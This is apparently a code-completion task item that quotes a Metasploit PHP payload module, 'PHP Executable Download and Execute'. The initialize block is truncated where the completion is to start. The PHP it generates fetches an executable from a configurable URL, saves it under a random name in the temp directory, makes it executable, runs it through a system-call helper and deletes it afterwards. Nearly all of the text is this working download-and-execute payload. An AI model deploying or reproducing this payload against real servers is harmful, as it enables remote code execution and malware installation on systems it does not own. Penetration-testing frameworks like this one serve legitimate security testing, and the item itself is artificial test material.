You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: download_exec.rb
    path of file: ./repos/metasploit-framework/modules/payloads/singles/php
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = :dynamic

  include Msf::Payload::Php
  include Msf::Payload::Single

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'PHP Executable Download and Execute',
      'Description'   => 'Download an EXE from an HTTP URL and execute it',
      'Author'        => [ 'egypt' ],
      'License'       => BSD_LICENSE,
      'Platform'      => 'php',
      'Arch'          => ARCH_PHP,
 
    
  def php_exec_file
    exename = Rex::Text.rand_text_alpha(rand(8) + 4)
    dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
    shell = <<-END_OF_PHP_CODE
    #{php_preamble(disabled_varname: dis)}
    if (!function_exists('sys_get_temp_dir')) {
      function sys_get_temp_dir() {
        if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
        if (!empty($_ENV['TMPDIR'])) { return realpath($_ENV['TMPDIR']); }
        if (!empty($_ENV['TEMP'])) { return realpath($_ENV['TEMP']); }
        $tempfile=tempnam(uniqid(rand(),TRUE),'');
        if (file_exists($tempfile)) {
          @unlink($tempfile);
          return realpath(dirname($tempfile));
        }
        return null;
      }
    }
    $fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe";
    $fd_in = fopen("#{datastore['URL']}", "rb");
    if ($fd_in === false) { die(); }
    $fd_out = fopen($fname, "wb");
    if ($fd_out === false) { die(); }
    while (!feof($fd_in)) {
      fwrite($fd_out, fread($fd_in, 8192));
    }
    fclose($fd_in);
    fclose($fd_out);
    chmod($fname, 0777);
    $c = $fname;
    #{php_system_block(cmd_varname: "$c", disabled_varnam: dis)}
    @unlink($fname);
    END_OF_PHP_CODE

    #return Rex::Text.compress(shell)
    return shell
  end